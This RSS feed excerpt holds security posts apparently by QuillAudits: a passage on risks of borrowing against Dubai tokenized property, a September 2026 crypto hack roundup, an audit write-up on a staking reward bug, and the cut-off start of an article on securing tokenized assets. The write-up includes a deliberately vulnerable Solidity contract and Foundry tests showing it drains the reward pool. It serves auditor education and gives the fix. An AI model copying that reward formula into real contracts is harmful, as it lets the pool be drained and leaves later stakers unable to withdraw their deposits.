VARA.”</em></strong></p><p>That sentence is the whole design. <strong>Efficiency is allowed only inside the controls.</strong> The buyer on the other side of a sale is a verified resident, the price band is tied to a government valuation, and the title record is supposed to move with the token. For a first resale market, that is a serious setup. It is also a closed one. <strong>A token nobody eligible can hold cannot clear, even if the chain itself is happy to move it.</strong></p><h3>Selling is not the same as borrowing</h3><p>A sale needs one eligible buyer. A loan needs a price that a lender will trust after the buyer has gone home, a party who can take the collateral if the borrower stops paying, and a legal path that still works when the token is frozen. <strong>None of that is live on Prypco Mint.</strong> As of early October 2026 there is no VARA supervised borrow book against these property tokens.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dFZCq3rMSNC6QO7-0SZ6PA.png" /></figure><p>The demand is obvious. People do not buy a fractional title so it can sit in an app. Markus Infanger, SVP of RippleX, put the longer aim in a Ripple Insights piece on 12 August 2025: <strong><em>“The true transformation lies in natively-issued onchain assets, securities, credit instruments, and real estate that are born digital, enforce compliance through code, and settle atomically without legal wrappers.”</em></strong> Real estate is in that sentence on purpose. A token that cannot be financed is a receipt. A token that can be financed is a balance sheet item.</p><p>The catch is what “finance” means on this ledger. XRP Ledger validators have been voting for months on XLS-65 and XLS-66, the Single Asset Vault and the Lending Protocol. A follow-on package, LendingProtocolV1_1, opened for voting at the start of October 2026. Activation still needs 80 percent of trusted validators for two straight weeks. The design underwrites the borrower off chain. Loan creation, repayment, and default are recorded on the ledger. <strong>There is no automatic on-chain liquidation.</strong></p><p>That is institutional credit from a pooled vault. It is not an overcollateralized money market where a property token sits as collateral and a bot sells it if the loan to value breaks. <strong>Treating the two as the same product is how a lending market gets announced before it can clear.</strong></p><h3>What already went wrong elsewhere</h3><p>Other chains have already tried to lend against tokens that look safer than a Dubai apartment share. The failures are useful because they are boring. They are not novel hacks. They are price, eligibility, backing, and keys.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k7b8fpa1IpNKXbc3PqICLg.png" /></figure><p>In March 2026 a misconfigured price cap on Aave underpriced wstETH by about 2.85 percent against its real exchange rate. Thirty-four positions, roughly $27 million, were liquidated even though the borrowers were not actually short of collateral. The protocol did not take bad debt. The users did. Chaos Labs, which runs the oracle, said the affected accounts would be reimbursed. <strong>Reimbursement after the fact is not a control.</strong> A stale or capped feed that can move a liquidation threshold is the control that was missing.</p><p>In April 2026 an attacker minted about 116,500 unbacked rsETH through a Kelp DAO bridge flaw and posted a large share of it on Aave and Compound. Aave later modelled bad debt in the nine figures, depending on how the loss was shared. The token still looked like rsETH to the lending market. The backing was not there. <strong>Supply checks against the issuer’s own register would have stopped the deposit.</strong> A bridge that can mint without a matching burn is a second ledger, and a second ledger is where the title link dies.</p><p>On 23 June 2026 Midas listed mGLOBAL, a token tied to a Fasanara receivables strategy, on Aave Horizon. MidasRWA later described it as collateral holders can post to borrow stablecoins while keeping exposure to the strategy.</p><iframe src="https://cdn.embedly.com/widgets/media.html?type=text%2Fhtml&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;schema=twitter&amp;url=https%3A//x.com/MidasRWA/status/2075553644699697384&amp;image=https%3A//i.embed.ly/1/image%3Furl%3Dhttps%253A%252F%252Fpbs.twimg.com%252Fmedia%252FHL-401xWEAIENwr%253Fformat%253Dwebp%2526name%253Dlarge%26key%3Da19fcc184b9711e1b4764040d3dc5c07" width="500" height="281" frameborder="0" scrolling="no"><a href="https://medium.com/media/7a89731ae16357c1f483a0835b53ff35/href">https://medium.com/media/7a89731ae16357c1f483a0835b53ff35/href</a></iframe><p>Horizon is permissioned. Only whitelisted institutions can hold the token. The price comes from a monthly net asset value, not from a live order book. That is a reasonable way to admit a private credit product. <strong>It is a poor way to liquidate one.</strong> A monthly NAV does not move when the market does. A whitelist means the liquidator has to already be on the list. If the only firm allowed to bid is also the largest holder, the auction is a conversation, not a market.</p><p>Dubai’s property tokens share the hard parts of all three cases. The reference price updates on a government schedule, not tick by tick. Only residents can hold the token. The link to the title is an integration, not a law of physics. And the token standard used for regulated assets carries freeze and forced transfer powers, because a land department cannot issue a title it cannot claw back.</p><h3>Four controls before the first loan</h3><p>Jasmine Cooper, head of product at RippleX, said in October 2025 that the point of the Immunefi review was <strong><em>“making sure the proposed Lending Protocol is thoroughly tested and resilient before launch, so developers and institutions can build with confidence.”</em></strong> Property collateral needs the same bar, in four places.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mWkDIWkTJh-IDVMMd0Jszg.png" /></figure><p><strong>A price that can move.</strong> DLD valuations are periodic. An oracle that only reads the registry will lag a falling market, and a lender who trusts it will lend against yesterday. The feed needs a staleness limit, a second source from actual marketplace trades, and a pause when the two diverge. The wstETH episode was a 2.85 percent error. Real estate can gap by more than that between valuations.</p><p><strong>A liquidator who can take delivery.</strong> If only verified residents can hold the token, a global liquidation bot is useless. Collateral nobody eligible can receive does not clear. Lenders need named, pre-approved liquidators with committed capital and a current eligibility check, not a hope that a buyer appears inside the 15 percent band.</p><p><strong>Collateral that stays backed.</strong> Any wrapper, bridge, or receipt token weakens the registry link. Deposits into a lending pool should be checked against the DLD register and against Ctrl Alt’s issuance record before the loan is opened, and again before it can be rolled. The Kelp loss was a backing failure that the lending market treated as a price failure. Those are different bugs.</p><p><strong>Admin keys that cannot strand a loan.</strong> Freeze and forced transfer are reasonable powers for a title token. They are dangerous powers for pledged collateral. A freeze that lands after the loan is open can block liquidation and leave the lender with a claim on an asset the chain will not move. Key holders, multisig thresholds, and timelocks should be public before the first loan. A lender should know who can stop a transfer, and on what notice.</p><h3>What native does not yet mean</h3><p>Infanger’s line about the token as the legal instrument is the destination, not the current file. The DLD pilot is the closest thing in the region to that destination, because the registry is in the loop. It is still a pilot. Ten properties. A resident-only book. A price band. A vote to sell the whole asset if the order book dies. <strong>That is a controlled secondary market. It is not a credit market.</strong></p><p>Reece Merrick, Ripple’s managing director for the Middle East and Africa, called the project in July 2025 <strong><em>“a perfect example of how Dubai continues to lead in digital asset innovation.”</em></strong> The lead is real on issuance and on resale. It is not yet a lead on collateral. Leading on collateral means publishing the four controls before anyone is allowed to borrow, and saying plainly that XLS-66 is a different product from a property backed loan.</p><h3>Conclusion</h3><p>The Dubai pilot has done the hard part of a secondary market. A resident can sell a slice of a title, inside a price band, to another resident, with the registry in the loop. Borrowing is a different market. It needs a price that moves, a liquidator who is allowed to hold the token, backing that still matches the land register, and admin keys that cannot freeze a loan shut. Until those four are published, the honest line is short. You can sell. You cannot yet borrow against it and expect the loan to clear.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=015c03a0d608" width="1" height="1" alt=""><hr><p><a href="https://medium.com/coinmonks/security-risk-in-dubai-tokenized-asset-borrowing-markets-015c03a0d608">Security Risk In Dubai Tokenized Asset Borrowing Markets</a> was originally published in <a href="https://medium.com/coinmonks">Coinmonks</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Two Hacks and $740M Gone in September]]></title>
            <link>https://medium.com/coinmonks/two-hacks-and-740m-gone-in-september-0f3a207107df?source=rss-777959014b94------2</link>
            <guid isPermaLink="false">https://medium.com/p/0f3a207107df</guid>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[ethereum]]></category>
            <category><![CDATA[solidity]]></category>
            <category><![CDATA[defi]]></category>
            <dc:creator><![CDATA[QuillAudits - Web3 Security ️]]></dc:creator>
            <pubDate>Tue, 06 Oct 2026 14:06:30 GMT</pubDate>
            <atom:updated>2026-10-07T13:53:05.056Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*10zmgCwC2jKVp6C8" /></figure><p>Bitget lost $387.0M from a compromised hot wallet. Liquid Network lost $320.0M from an unbacked mint. Those two add up to $707M. The other 12 incidents add up to $33.2M.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1iKnfiRF0Elz5tqIjdsDxw.png" /></figure><p><strong>September 2026 top exploits</strong></p><p>Bitget and Liquid are larger than the next 12 combined.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lRVw1HQRBB0AYDRglHC1dw.png" /></figure><p><strong>The Bitget failure</strong></p><p>24 September. Ethereum, XRP, Tron, Zcash. Hot wallet compromised. $387,000,000. That is 52.3% of the month.</p><p>The payout came from the hot wallet. There was no oracle bug, no governance vote, and no bridge bug in this one.</p><p>The same day, Duelbits lost $7.0M from a hot wallet on Ethereum, BSC, Bitcoin and Tron. Two exchanges, same day, same type of failure. $394.0M together.</p><p><strong>The Liquid failure</strong></p><p>6 September. Liquid. Unbacked mint. $320,000,000.</p><p>L-BTC was minted with no matching bitcoin deposit, then pegged out. The reserve paid real bitcoin. No key was leaked.</p><p>Nomic had the same type of bug on 9 September, for $3.15M. Two unbacked mints, $323.2M.</p><p>Liquid was on 6 September. Bitget was on 24 September.</p><p><strong>When the money left</strong></p><p>6 September was Liquid, $320.0M. 24 September was Bitget, Duelbits, Payy and Limit Break, $397.6M. Those two days are almost the whole month.</p><p>The rest: 4 Sep, Notional V2, $1.73M. 9–19 Sep, five incidents, $9.5M. 22 Sep, Astroport and Drop, $9.3M. 27 Sep, fake GIWA bridge, $2.08M.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KEVEN1YawrDuReNFeGH5hQ.png" /></figure><p><strong>Year so far</strong></p><p>July was about $242M. August was $144.1M. Through August the year was past $1.32B.</p><p>September is $740.2M. That is more than July and August combined, and about 5 times August. Added to the $1.32B through August, the year is past $2.06B. September is the worst month of 2026.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*djvInBXqnEw-Xsh2kBAkXQ.png" /></figure><p><strong>What actually caused the damage</strong></p><p>Key compromise: 3 incidents, $395.5M, 53.4%. Bridges and cross-chain: 4 incidents, $325.7M, 44.0%. The other five categories are 2.6%.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kHDDBHkW8KvJGXow1aw_gg.png" /></figure><p><strong>Sectors</strong></p><p>Exchange hot wallets: $394.0M. Pegs and bridges: $325.7M. Neutron governance: $9.3M. Spot-price lending: $4.1M. A fake bridge: $2.1M. A token approval: $1.8M. An accounting error: $1.7M.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7CKI29tDta2eZic4vFLuAw.png" /></figure><p><strong>Chains hit in September 2026</strong></p><p>13 chains show up. Bitget’s $387.0M is one incident across Ethereum, XRP, Tron and Zcash, so it should not be split across those chains. Liquid is $320.0M on one chain. Neutron is $9.3M. Duelbits is $7.0M. Starknet is $3.5M. Nomic is $3.15M.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wpcJWOQiZ_aTAMQpqI1SJg.png" /></figure><p><strong>September 2026 full kill list</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0R8kz2zMXE2J2PWn--bf4A.png" /></figure><p><strong>What it comes down to</strong></p><p>95.5% of the money is two cases. Bitget and Duelbits paid out from hot wallets, $394.0M. Liquid and Nomic minted with no deposit behind it, $323.2M. Astroport and Drop both passed a bad proposal on Neutron on 22 September, $9.3M.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GD9WCWHlErKOxZndHFWu5A.png" /></figure><p>The checks that match these losses are signer access, mint-against-deposit, and what a proposal is allowed to move.</p><p><em>Originally published at </em><a href="https://x.com/QuillAudits_AI/status/2107472440855237087"><em>https://x.com</em></a><em> on October 6, 2026.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0f3a207107df" width="1" height="1" alt=""><hr><p><a href="https://medium.com/coinmonks/two-hacks-and-740m-gone-in-september-0f3a207107df">Two Hacks and $740M Gone in September</a> was originally published in <a href="https://medium.com/coinmonks">Coinmonks</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Quill Findings: APY Miscalculation in Staking Rewards]]></title>
            <link>https://medium.com/coinmonks/quill-findings-apy-miscalculation-in-staking-rewards-aa373eb144f0?source=rss-777959014b94------2</link>
            <guid isPermaLink="false">https://medium.com/p/aa373eb144f0</guid>
            <category><![CDATA[staking]]></category>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[defi]]></category>
            <category><![CDATA[solidity]]></category>
            <category><![CDATA[ethereum]]></category>
            <dc:creator><![CDATA[QuillAudits - Web3 Security ️]]></dc:creator>
            <pubDate>Wed, 30 Sep 2026 13:14:40 GMT</pubDate>
            <atom:updated>2026-09-30T13:14:40.021Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XRlR0uafGWKggmcPeJOibA.png" /></figure><p>This is the third blog in our series Quill Findings, where we share vulnerabilities our auditors found during client audits, for auditor and developer education. If you missed the earlier ones, you can read the first one <a href="https://www.quillaudits.com/blog/auditing/eligibility-replay-tokenized-assets"><strong><em>here</em></strong></a> and the second one <a href="https://www.quillaudits.com/blog/auditing/missing-access-control"><strong><em>here</em></strong></a>.</p><p>Today we have a staking protocol, where users lock their tokens for 60 days and earn 8% APY on the staked amount. The reward math missed calculated rewards, and turned an 8% yearly yield into roughly 49%.</p><h3>How the reward calculation works in general</h3><p>APY is a yearly rate and a 60 days lock period should only give rewards generated by the 60days part of that 8% yearly calculation, not all of it. In code below you can see that how 60 days rewards calculation should work:</p><pre>// 8% per year, in basis points<br>uint256 constant APY_BPS = 800;<br>uint256 constant LOCK_PERIOD = 60 days;<br><br>// reward = amount x yearly rate x (lock time / 1 year)<br>//<br>// 10,000 tokens x 8% x (60 / 365)<br>// = 10,000 x 0.08 x 0.164<br>// = ~131 tokens</pre><p>Here a user is staking 10,000 tokens for one lock period(60 days) and should get back about 10,131 tokens.</p><h3>What was wrong in the contract</h3><p>The contract calculated the rewards like this:</p><pre>function calculateReward(uint256 amount) public pure returns (uint256) {<br>    // bug: pays the full yearly 8% on every 60-day lock,<br>    // the lock duration never enters the math<br>    //<br>    // 10,000 tokens -&gt; 800 tokens reward<br>    // expected      -&gt; ~131 tokens<br>    // overpaid      -&gt; ~6x on every lock<br>    return amount * APY_BPS / 10_000;<br>}</pre><p>The yearly rate is treated as a 60 days rate and every lock pays the full 8%, whether the tokens were locked for 60 days or a whole year.</p><p>A year has over six 60days periods cycles, so a user who keeps locking again and again earns far more than 8%:</p><pre>// intended:             8% a year<br>// actual, re-locking(original deposit only):   8% x 6.08 periods  = ~49% a year<br>// actual, restaking(compunding: deposit + previous reward):    (1.08)^6.08 - 1    = ~60% a year</pre><h3>Understand the Vulnerability Flow</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*MA0Kp9mQno4bWend" /></figure><h3>Impact</h3><p>No special access or attacker contract was required. Anyone who stakes normally gets overpaid. This was a business logic implementation bug.</p><p>The rewards come from a pool that team funds. That pool is create for 8% a year, but it pays out as if the rate were about six times higher and tt drains much faster than planned, and as TVL grows.</p><h3>Proof of concept</h3><p>This is a minimal example to show the bug from the code side. Its a replica of vulnerable code</p><p>src/MockToken.sol:</p><pre>// SPDX-License-Identifier: MIT<br>pragma solidity ^0.8.24;<br><br>import {ERC20} from &quot;@openzeppelin/contracts/token/ERC20/ERC20.sol&quot;;<br><br>contract MockToken is ERC20 {<br>    constructor() ERC20(&quot;Mock Token&quot;, &quot;MOCK&quot;) {}<br><br>    function mint(address to, uint256 amount) external {<br>        _mint(to, amount);<br>    }<br>}</pre><p>src/StakingVulnerable.sol:</p><pre>// SPDX-License-Identifier: MIT<br>pragma solidity ^0.8.24;<br><br>import {IERC20} from &quot;@openzeppelin/contracts/token/ERC20/IERC20.sol&quot;;<br><br>contract StakingVulnerable {<br>    IERC20 public immutable token;<br><br>    uint256 public constant APY_BPS = 800; // 8% a year<br>    uint256 public constant LOCK_PERIOD = 60 days;<br><br>    struct Stake {<br>        uint256 amount;<br>        uint256 unlockAt;<br>    }<br><br>    mapping(address =&gt; Stake) public stakes;<br><br>    constructor(IERC20 _token) {<br>        token = _token;<br>    }<br><br>    function stake(uint256 amount) external {<br>        require(stakes[msg.sender].amount == 0, &quot;already staked&quot;);<br>        token.transferFrom(msg.sender, address(this), amount);<br>        stakes[msg.sender] = Stake(amount, block.timestamp + LOCK_PERIOD);<br>    }<br><br>    // bug: the full yearly rate is paid for a 60-day lock<br>    function calculateReward(uint256 amount) public pure returns (uint256) {<br>        return amount * APY_BPS / 10_000;<br>    }<br><br>    function withdraw() external {<br>        Stake memory s = stakes[msg.sender];<br>        require(s.amount &gt; 0, &quot;no stake&quot;);<br>        require(block.timestamp &gt;= s.unlockAt, &quot;still locked&quot;);<br>        delete stakes[msg.sender];<br>        token.transfer(msg.sender, s.amount + calculateReward(s.amount));<br>    }<br>}</pre><p>Create the fixed version. It’s the same contract with only calculateReward changed:</p><pre>sed -e &#39;s/contract StakingVulnerable/contract StakingFixed/&#39; \<br>    -e &#39;s|return amount \* APY_BPS / 10_000;|return amount * APY_BPS * LOCK_PERIOD / (10_000 * 365 days);|&#39; \<br>    src/StakingVulnerable.sol &gt; src/StakingFixed.sol</pre><p>test/APYOverpay.t.sol:</p><pre>// SPDX-License-Identifier: MIT<br>pragma solidity ^0.8.24;<br><br>import {Test, console2} from &quot;forge-std/Test.sol&quot;;<br>import {MockToken} from &quot;../src/MockToken.sol&quot;;<br>import {StakingVulnerable} from &quot;../src/StakingVulnerable.sol&quot;;<br>import {StakingFixed} from &quot;../src/StakingFixed.sol&quot;;<br><br>contract APYOverpayTest is Test {<br>    MockToken token;<br>    address alice = makeAddr(&quot;alice&quot;);<br>    address bob = makeAddr(&quot;bob&quot;);<br><br>    uint256 constant STAKE = 10_000e18;<br>    uint256 constant POOL = 800e18; // reward pool funded by the team<br><br>    function setUp() public {<br>        token = new MockToken();<br>        token.mint(alice, STAKE);<br>        token.mint(bob, STAKE);<br>    }<br><br>    function _stake(address user, address staking) internal {<br>        vm.startPrank(user);<br>        token.approve(staking, STAKE);<br>        StakingVulnerable(staking).stake(STAKE);<br>        vm.stopPrank();<br>    }<br><br>    function test_RewardIsFullYearlyRate() public {<br>        StakingVulnerable staking = new StakingVulnerable(token);<br><br>        uint256 paid = staking.calculateReward(STAKE);<br>        uint256 expected = STAKE * 800 * 60 days / (10_000 * 365 days);<br><br>        console2.log(&quot;reward paid for 60 days :&quot;, paid / 1e18);<br>        console2.log(&quot;reward expected (8% APY):&quot;, expected / 1e18);<br><br>        assertEq(paid, 800e18, &quot;full 8% paid on a 60-day lock&quot;);<br>        assertGt(paid, expected * 6, &quot;more than 6x the intended reward&quot;);<br>    }<br><br>    function test_FirstStakerDrainsPool() public {<br>        StakingVulnerable staking = new StakingVulnerable(token);<br>        token.mint(address(staking), POOL);<br><br>        _stake(alice, address(staking));<br>        _stake(bob, address(staking));<br>        vm.warp(block.timestamp + 60 days);<br><br>        vm.prank(alice);<br>        staking.withdraw();<br>        console2.log(&quot;alice received          :&quot;, token.balanceOf(alice) / 1e18);<br><br>        // the pool is already gone, bob can&#39;t even get his principal back<br>        vm.prank(bob);<br>        vm.expectRevert();<br>        staking.withdraw();<br>        console2.log(&quot;bob withdraw            : reverted&quot;);<br>    }<br><br>    function test_FixedPaysOnlySixtyDays() public {<br>        StakingFixed staking = new StakingFixed(token);<br>        token.mint(address(staking), POOL);<br><br>        _stake(alice, address(staking));<br>        _stake(bob, address(staking));<br>        vm.warp(block.timestamp + 60 days);<br><br>        vm.prank(alice);<br>        staking.withdraw();<br>        vm.prank(bob);<br>        staking.withdraw();<br><br>        console2.log(&quot;alice received          :&quot;, token.balanceOf(alice) / 1e18);<br>        console2.log(&quot;bob received            :&quot;, token.balanceOf(bob) / 1e18);<br>        console2.log(&quot;pool left               :&quot;, token.balanceOf(address(staking)) / 1e18);<br><br>        assertEq(token.balanceOf(alice), STAKE + staking.calculateReward(STAKE));<br>        assertEq(token.balanceOf(bob), STAKE + staking.calculateReward(STAKE));<br>    }<br>}</pre><p>Run it:</p><pre>forge test --match-contract APYOverpayTest -vv</pre><p>Output:</p><pre>Ran 3 tests for test/APYOverpay.t.sol:APYOverpayTest<br>[PASS] test_FirstStakerDrainsPool() (gas: 440263)<br>Logs:<br>  alice received          : 10800<br>  bob withdraw            : reverted<br><br>[PASS] test_FixedPaysOnlySixtyDays() (gas: 503675)<br>Logs:<br>  alice received          : 10131<br>  bob received            : 10131<br>  pool left               : 536<br><br>[PASS] test_RewardIsFullYearlyRate() (gas: 16956)<br>Logs:<br>  reward paid for 60 days : 800<br>  reward expected (8% APY): 131<br><br>Suite result: ok. 3 passed; 0 failed; 0 skipped</pre><p>Here’s what the three tests show.</p><p>test_RewardIsFullYearlyRate: for 10,000 tokens, the contract pays 800 tokens for a 60-day lock, instead of 131.</p><p>test_FirstStakerDrainsPool: the team funds the pool with 800 tokens, which is more than enough for two users at the real reward distribution. Alice and Bob each stake 10,000 and after 60 days, Alice withdraws 10,800 and takes the whole pool. When Bob tries to withdraw, the contract owes him 10,800 but only holds 10,000, so his withdrawal reverts. Bob can&#39;t even get his principal back.</p><p>test_FixedPaysOnlySixtyDays: the same flow on the fixed contract. Both users get about 10,131 back, and 536 tokens are still left in the pool.</p><h3>The fix</h3><p>Scale the yearly rate down to the lock duration.</p><pre>- return amount * APY_BPS / 10_000;<br>+ return amount * APY_BPS * LOCK_PERIOD / (10_000 * 365 days);</pre><pre>function calculateReward(uint256 amount) public pure returns (uint256) {<br>    // fix: only pay the 60-day share of the yearly rate<br>    // multiply first, divide once at the end,<br>    // so integer division doesn&#39;t round rewards away<br>    //<br>    // 10,000 tokens -&gt; ~131 tokens, matches 8% APY<br>    return amount * APY_BPS * LOCK_PERIOD / (10_000 * 365 days);<br>}</pre><p>The order of operations matters here. If you divide first, for example LOCK_PERIOD / 365 days, Solidity&#39;s integer division rounds it down to 0, and every user gets nothing. Multiplying everything first and dividing once at the end keeps the result accurate.</p><p>If the protocol ever supports more than one lock period, pass the actual lock duration into the function instead of relying on a single constant. With this, the same formula stays correct for every option.</p><h3>Conclusion</h3><p>Nothing in this bug reverts, and no test fails unless it checks the reward amount itself. The contract runs smoothly while paying far more than intended. When a rate is yearly, every payout needs to know how long the money was locked, and here, one missing time factor turned 8% into 49%.</p><p><em>Originally published at </em><a href="https://www.quillaudits.com/blog/auditing/staking-apy-miscalculation"><em>https://www.quillaudits.com</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=aa373eb144f0" width="1" height="1" alt=""><hr><p><a href="https://medium.com/coinmonks/quill-findings-apy-miscalculation-in-staking-rewards-aa373eb144f0">Quill Findings: APY Miscalculation in Staking Rewards</a> was originally published in <a href="https://medium.com/coinmonks">Coinmonks</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[What It Takes to Secure Tokenized Assets in Dubai]]></title>
            <link>https://medium.com/coinmonks/what-it-takes-to-secure-tokenized-assets-in-dubai-cc7ec7f117a1?source=rss-777959014b94------2</link>
            <guid isPermaLink="false">https://medium.com/p/cc7ec7f117a1</guid>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[tokenization]]></category>
            <category><![CDATA[solidity]]></category>
            <category><![CDATA[defi]]></category>
            <category><![CDATA[ethereum]]></category>
            <dc:creator><![CDATA[QuillAudits - Web3 Security ️]]></dc:creator>
            <pubDate>Mon, 28 Sep 2026 06:01:18 GMT</pubDate>
            <atom:updated>2026-09-28T06:01:18.972Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oYFozBHpqaBjG2lkJojeAA.png" /></figure><p>On 7 September 2026, the world’s largest silver bar became the first commodity tokenized asset under the DMCC and VARA framework.</p><p>Tokinvest issued fractional interests token on 1,971kg bar as an Asset-Referenced Virtual Asset (ARVA) on BNB Chain, and eligible retail investors can buy these tokens. SAM Metals made this bar as a tribute to 1971, the year UAE was founded. It was presented at the Dubai Precious Metals Conference in November 2025. The bar is registered and verified on DMCC Tradeflow, and Brink’s handles its storage and logistics.</p><p>So every mint on that contract is now a claim on one bar in one vault. As we can see that Dubai has became the hub for tokenization, with perfect regulation and authorities in place, but now question is what it really takes to build a secure tokenization protocol, where things can go wrong and what are the fixes. We will cover all these points in this blog.</p><h3>Who regulates what in Dubai and the UAE</h3><p>UAE runs several regions side by side and choosing the right one is the first security aspect, because a token filed with the wrong regulator leaves holders without the protections they expect.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aiUXsOd1miAj7jGYk3nW_Q.png" /></figure><h3>What VARA expects from an ARVA issuer</h3><p>Issuing an ARVA is a Category 1 activity under VARA’s Virtual Asset Issuance Rulebook and the issuer needs a licence + separate approval for each token, and paid-up capital of at least 1.5M AED, or 2% of average reserve value over 24 months, whichever is higher. It also needs two full-time, VARA approved individuals who are UAE either residents or passport holders, and a compliance officer.</p><p>VARA tells issuers to rank their material risks in the whitepaper rather than on boilerplate. <strong>VARA can suspend issuance, and can also revoke approval if the whitepaper or marketing is misleading</strong>.</p><p>Here legal part and security meets, every privileged function, whether it mints, pauses, freezes, forces transfers or upgrades, is a promise about who controls holders assets. If a power role exists on-chain but missing from the whitepaper, then you have a disclosure problem and a hidden trust assumption, which can revoke your approvals.</p><p>VARA rulebook enforces after licensing also. In 2026 it fined <strong>KuCoin and MEXC for unlicensed activity</strong>, and a licensed firm CoinMENA finde for AML control failures. Getting a VARA licence is hard. Keeping it even harder.</p><h3>VARA’s testing rules and security standards</h3><p>VARA’s Technology and Information Rulebook covers testing and audit, and it binds every VARA-licensed firm, ARVA issuers included. A qualified, independent third party must run vulnerability assessments and penetration tests at least once a year and before any new system, application or product goes live and results shared with VARA on request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*BCCfQ31XtvtG4oP7" /></figure><p>Schedule 1 of the same rulebook is guidance rather than hard rules, but it sets out the security standards VARA expects firms to meet. Several of them read like a post-mortem of 2025’s biggest hacks:</p><ul><li><strong>Contracts.</strong> Independent audits before deployment, formal verification where applicable, and regular re-assessment of deployed contracts.</li><li><strong>Multisig.</strong> For high-value operations, the number of required signers (M) must be greater than half the total signers (N). Signers should sit in different locations and use different authorisation methods.</li><li><strong>Signing.</strong> Signing must halt immediately when an error is reported.</li><li><strong>Workstations.</strong> Developer machines get endpoint monitoring and no direct production access.</li><li><strong>Key compromise.</strong> A tested response plan with rapid key rotation.</li><li><strong>Security Testing.</strong> Annual third-party penetration tests, quarterly vulnerability assessments and yearly independent resilience testing that includes source code review and scenario-based tests.</li></ul><h3>Reserve-backed or direct-ownership changes your threat model</h3><p>VARA guidance separates two kinds of ARVA. In both cases, holders must be able to redeem at par in AED or a disclosed equivalent, within a reasonable time and free of charge.</p><p><strong>Stable-value (reserve-backed).</strong> The token needs full backing held by a licensed custodian, segregated from the issuer’s own money. The core risk is on-chain supply drifting above what the vault holds.</p><p><strong>Direct-ownership.</strong> The token is the asset, so no reserve is needed, but the underlying interest must transfer at the same moment the token does. The core risk is legal title and the <strong>token ledger falling out of sync</strong>. Dubai’s property tokens work this way, with each transfer synced in real time to the DLD land registry.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*aRDIO_X9ot5h2tgN" /></figure><p>The launch material of this silver bar tokenization protocol says investors can own a fractional interest in the bar, which points toward direct ownership, but it never names the model. If it is direct-ownership, the Tradeflow record and the BNB Chain ledger can never disagree, even for one block. That matters more than any proof-of-reserve dashboard. For a reserve-backed design, our <a 